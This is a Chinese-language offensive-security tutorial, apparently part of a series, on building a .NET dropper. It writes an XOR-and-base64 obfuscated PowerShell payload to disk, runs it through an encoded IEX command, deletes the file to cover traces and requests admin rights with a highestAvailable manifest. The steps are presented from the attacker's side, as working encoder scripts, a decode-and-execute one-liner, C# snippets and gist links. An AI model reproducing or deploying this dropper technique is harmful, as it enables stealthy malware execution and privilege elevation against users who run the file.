导语:在这篇文章中,我们会对上一篇文章中介绍的.NET可执行文件进行一些改进。首先,我们会将有效载荷的PowerShell代码嵌入到exe文件中。
在这篇文章中,我们会对上一篇文章中介绍的.NET可执行文件进行一些改进。首先,我们会将有效载荷的PowerShell代码嵌入到exe文件中。接下来,将为其添加一个自定义应用程序清单,来控制我们的程序在哪个级别运行。如果你还没有看过第一篇内容的话,你可以在这里找到,或者,你可以直接阅读第一篇文章中的相关代码就行了,地址在这里。
单级有效载荷
跟通过PowerShell下载和执行有效载荷不同,我们这里要将有效载荷写入文件,然后让PowerShell从中进行读取,并执行它。
*“等等,啥?这是要把这些东西放到硬盘上吗?!”*
是的,但是……我们会进行加密处理,毕竟很多应用程序都会向硬盘上面写东西的,所以,这不会引起别人的怀疑。
*当然,这里算不上真正意义上的加密技术,但是对我们来说已经足够了。
我们将对有效载荷的每个字节进行异或运算,然后进行base64编码。也就是说,我们的异或运算就是前面所说的加密,同时,对于PowerShell来说,这种操作非常易于“解密”;另外,base64编码也非常便于用PowerShell进行处理,所以,这样一来我们就可以直接将标准字符粘贴到我们的程序中了。我已经编写了一个PowerShell脚本,让它替我们完成相应的工作:
|param (| |[string]$in = $( Read-Host "Please specify a file to encode with -in" ),| |[string]$out = $( Read-Host "Please specify an output file with -out" )| |)| |if (-Not (Test-Path $in)) { Read-Host "Please specify a valid filepath" }| |$str = [System.IO.File]::ReadAllText($in)| |$bytes = [System.Text.Encoding]::Ascii.GetBytes($str)| |for($i=0; $i -lt $bytes.count; $i++) {| |$bytes[$i] = $bytes[$i] -bxor 0x71| |}| |[Convert]::ToBase64String($bytes) | Out-File $out|
当然,读者也可以从下面的地址下载相应的代码:
https://gist.github.com/peewpw/2fc092ac51ed4b554d530da8fd93537c.
注意,我们将利用常量0x71来进行异或操作,进行解密的时候,只需要利用这个值重新执行一遍异或操作就行了。
使用PowerShell脚本对有效载荷进行编码
接下来,将上面的PowerShell脚本的输出内容复制到我们的程序中,并在Main方法前面建立一个静态字符串。作为Main的第一个动作,我们将把这个字符串的值写入一个文件。这里,我们将把它写入位于 C:UsersPublic下面的一个文本文件中。如果该目录不存在的话,我们的代码将无法工作,因此,请根据自己的情况选择一个合适的目录。
|static string psc = "<encoded payload>"| |static void Main(string[] args)| |{| |File.WriteAllText(@"C:UsersPublictest12.txt", psc);| |....|
既然将这个有效载荷植入了文件中,那么自然就需要一个PowerShell命令来读取这个文件、对有效载荷进行解码并执行它。比如,我们可以使用下面的PowerShell命令来完成这些工作:
|$f=[System.IO.File]::ReadAllText("C:UsersPublictest12.txt");$b=[Convert]::FromBase64String($f);for($i=0;$i -lt $b.count;$i++){$b[$i]=$b[$i] -bxor 0x71}IEX([System.Text.Encoding]::Ascii.GetString($b));|
$f是从文件中读取的base64字符串(就是我们在前面创建的那个字符串)。然后,我们将它转换为一个字节数组($b),并逐字节与常量0x71进行异或运算。最后,我们将字节数组重新转换为一个字符串,并执行它。
如果直接调用这个命令的话,将面临字符转义的问题,所以,我们打算使用base64对它进行编码,并将其作为一个编码后的命令来运行。实际上,最简单的方法,就是像前面一样通过PowerShell脚本完成这些任务。
|param (| |[string]$in = $( Read-Host "Please specify a file to encode with -in" ),| |[string]$out = $( Read-Host "Please specify an output file with -out" )| |)| |if (-Not (Test-Path $in)) { Read-Host "Please Specify a valid filepath" }| |$str = [System.IO.File]::ReadAllText($in)| |$bytes = [System.Text.Encoding]::Unicode.GetBytes($str)| |[Convert]::ToBase64String($bytes) | Out-File $out|
当然,读者也可以从下面的地址下载相应的代码:
https://gist.github.com/peewpw/4bbcce5b89e96d48f4495cd8cb95aab6.
请注意,现在我们已经转换为早期的ascii unicode编码。在第一个脚本中,由于使用了Ascii编码,所以得到的输出结果所占用的空间会更小一些,但是在这里我们需要的是unicode编码,只有这样才符合PowerShell编码的命令参数的要求。所以,在复制和粘贴代码时要注意一下!
对PowerShell命令进行Base64编码
之后,我们把这里的输出内容放入相应的程序中,供PowerShell命令的参数使用。
|process.StartInfo.Arguments = "-enc <base64 encoded command>"|
现在,我们的程序就可以正常工作了!但是,我们还可以做一些清理工作,就是说,当PowerShell读取文件之后,将这些文件删除。为此,我们需要多等一会儿,以便PowerShell有足够的时间来读取并删除它:
|Thread.Sleep(5000);| |File.Delete(@"C:UsersPublictest12.txt");|
最终的代码可以从下面的地址下载:
https://gist.github.com/peewpw/0c8f240d642fb554d83d3433b2e718fc.
如果你已经运行了代码的最终版本,那么这个exe文件将位于 projectnamebinDebugprojectname.exe。如果你不想在自己的系统上运行有效载荷,你可以选择Build> Build Solution菜单项,或者按F6来构建一个新的exe版本,这样的话就不会执行它了。
请求提升进程权限
Windows进程能够以不同的完整性级别运行,不同的级别决定了不同的权限,从而决定了它们在本地系统上可以访问哪些内容和执行哪些代码。不过,这里只会概要讨论与我们有关的一些问题,但是,如果你想深入研究这方面的内容的话,请参考https://msdn.microsoft.com/en-us/library /bb625963.aspx。作为攻击者,我们通常希望拥有最高的特权级别(SYSTEM),因为这样我们就可以为所欲为了。通常情况下,我们会假定可以从管理员级别的访问权限获取系统级别的权限,但是在更多的时候,需要考虑的是如何从普通进程获取管理员进程的权限。有时,只需要在应用程序启动的时候,直接向用户请求相应的权限就能搞定了。
当用户打开一个正常的应用程序时,该程序通常是在一个中等的完整性级别上运行的。这意味着,该程序无法完成“管理性质的”活动。但是,该程序却可以通过触发用户帐户控制(UAC)来请求更高的权限。比如,就像下面这样的弹出式请求窗口:
UAC提示框
接下来的事情,将取决于UAC设置和用户的权限。假设用户是本地管理员组的成员,如果UAC设置为“prompt for consent”(默认),那么用户只需通过点击确认就可以管理员身份运行该程序。如果UAC设置为“prompt for credentials”(不常见),那么用户就必须输入凭据才能以管理员身份运行该程序。如果UAC设置为“no prompt”或禁用,程序将继续运行。作为标准用户,如果UAC设置为“prompt for credentials”,则用户需要输入管理员凭证才能继续。如果UAC设置为“no prompt”或禁用,则程序将失败。
我们可以定义程序是否可以使用应用程序清单来请求提升权限。我们有三个选项:asInvoker、requireAdministrator和highestAvailable。如果我们没有定义清单,那么第一个选项asInvoker是默认的。该程序将作为中等进程来运行(除非作为管理员帐户运行)。下一个选项是不言自明的,它要求具有管理员权限,否则就会运行失败。这是大部分安装人员使用的选项。最后一个选择是更加灵活,也是我们最感兴趣的一个选项。如果用户是本地管理员组的成员,则UAC将提示提升进程权限,但如果用户不是管理员,程序将按正常进程运行。
我们可以根据具体情况,来选择相应的设置。就本例来说,我们将使用“highestAvailable”设置,但如果读者喜欢的话,也可以尝试其他的选项。
首先,我们将创建一个清单来指定所需的执行参数。
|<?xml version="1.0" encoding="UTF-8" standalone="yes"?>| |<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">| |<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">| |<security>| |<requestedPrivileges>| |<requestedExecutionLevel| |level="highestAvailable"| |uiAccess="false"/>| |</requestedPrivileges>| |</security>| |</trustInfo>| |</assembly>|
我们将其保存为.manifest文件,然后将其包含在我们的Visual Studio项目中。
Visual Studio中的清单文件
在“Project”菜单下,选择“<project name> Properties”,然后在资源下拉列表中选择新的自定义清单。
在项目属性中选择清单文件
当构建可执行文件时,这个清单将被包含在其中。当我们的程序被具有本地管理员权限的用户运行时,UAC会提示他们程序在提权后的进程中运行。我将清单中的可执行文件重命名为peewpw_adm.exe,以便可以将其与原始文件并排比较。您可以看到,具有本地管理员的用户查看时,带有新清单文件的UAC图标的样子。
作为具有本地管理员权限的用户,在自定义清单前后看到的可执行文件。
当普通用户查看相同的文件时,他们无法看到UAC图标。当普通用户运程序时,都是作为中等完整性(正常)进程来执行。
作为没有本地管理员权限的用户,在自定义清单之前和之后看到的可执行文件。
我们还可以看到,当一个管理员运行这两个文件(点击后者的UAC)时,一个是作为中等完整性(正常)进程,而另一个则是作为高等完整性(admin)进程。
运行这两个程序的结果。第一个作为正常进程,第二个作为管理进程(注意星号和红色的电脑图标)。
下一步做什么
在本文中,我们做了一个妥协:把带有多级释放有效载荷的Web调用换为向硬盘写入一个加密的文件。在下一篇文章中,我们将考察单级有效载荷(stageless payload)的替代方法,它们无需将文件写入磁盘!
应用程序清单为我们提供了一些提升权限的方法,这样我们就无需使用可能触发警报的UAC绕过方法了。实际上,我们可以在某些恰当的时机请求用户赋予我们需要的权限,例如,在安装程序的时候。
我们下周再见,阅读愉快!